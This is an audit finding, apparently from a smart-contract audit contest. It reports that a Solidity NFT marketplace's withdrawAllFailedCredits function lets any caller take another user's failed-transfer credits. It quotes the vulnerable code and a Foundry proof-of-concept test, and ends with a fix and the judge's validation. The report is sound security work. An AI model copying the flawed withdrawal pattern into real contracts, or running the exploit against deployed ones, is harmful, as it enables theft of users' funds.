Bid Beasts

First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Submission Details
Severity: high
Valid

## `withdrawAllFailedCredits` Logic Error

[H-1] withdrawAllFailedCredits Logic Error

Description The withdrawAllFailedCredits function is designed to allow a user to recover funds that could not be transferred to them in a previeous transaction, However theres a logic error in this implementations that allow a attacker to steal funds of other user

function withdrawAllFailedCredits(address _receiver) external {
@> uint256 amount = failedTransferCredits[_receiver]; // Gets the victim's balance
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0; // Clears the attacker's balance
@> (bool success,) = payable(msg.sender).call{value: amount}(""); // Pays the attacker
require(success, "Withdraw failed");
}

Impact: Loss of funds, users can have their funds stolen from the contract

Proof of Concept

function test_exploit_failedTransferCredits() public {
_mintNFT();
_listNFT();
vm.deal(address(rejector), 10 ether);
vm.prank(address(rejector));
market.placeBid{value: BUY_NOW_PRICE + MIN_PRICE}(TOKEN_ID);
assertEq(
market.failedTransferCredits(address(rejector)),
MIN_PRICE,
"Overpaid amount should be credited to the rejector"
);
uint256 bidder1BalanceBefore = BIDDER_1.balance;
vm.prank(BIDDER_1);
market.withdrawAllFailedCredits(address(rejector));
assertEq(BIDDER_1.balance, bidder1BalanceBefore + MIN_PRICE, "Attacker should be able to steal the funds");
assertEq(market.failedTransferCredits(address(rejector)), MIN_PRICE, "Victim's credit balance was NOT cleared due to the bug");
}

Recommended Mitigation

Replace msg.sender with _receiver when clearing the credits:

+ require(msg.sender == _receiver, "Caller must be the owner of the credits");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
Updates

Lead Judging Commences

cryptoghost Lead Judge 27 days ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.